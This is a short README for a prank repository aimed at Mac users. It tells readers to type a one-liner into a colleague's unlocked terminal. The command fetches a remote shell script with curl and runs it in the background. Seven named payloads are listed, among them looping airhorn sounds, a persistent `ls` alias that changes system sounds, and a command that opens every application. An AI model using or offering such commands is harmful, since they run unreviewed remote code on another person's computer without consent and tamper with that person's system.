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<h3>hoku</h3>
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when someone leaves their computer unlocked, you want to do something. this is a repository of silly things you can do. they all follow the same idea. all you have to do is run
<pre><code>sh <(curl -sL hoku.me/xx) &</code></pre>
in their terminal, where `xx` is the two-letter identifier of the prank payload. (they only work on macs)
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<strong>ah:</strong> play an airhorn sound randomly every x seconds, where x is between 0 and 800
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<strong>al:</strong> change the default mac error sound to an airhorn and start a sleeper as a diversion
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<strong>er:</strong> play the default mac error sound randomly every x seconds, where x is between 0 and 30
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<strong>fr:</strong> play Friday by Rebecca Black on friday
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<strong>ls:</strong> change the default mac error sound to an airhorn and set up a bash alias for `ls` to change it back to an airhorn if it's not already
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<strong>op:</strong> sleep 10 minutes and then open every application in /Applications
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<strong>ys:</strong> check the price of Bitcoin every 1 to 10 seconds and play "You Suffer" by Napalm Death if it drops
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<h3>contributing</h3>
if you have an idea for a prank, go ahead and put in a PR :)
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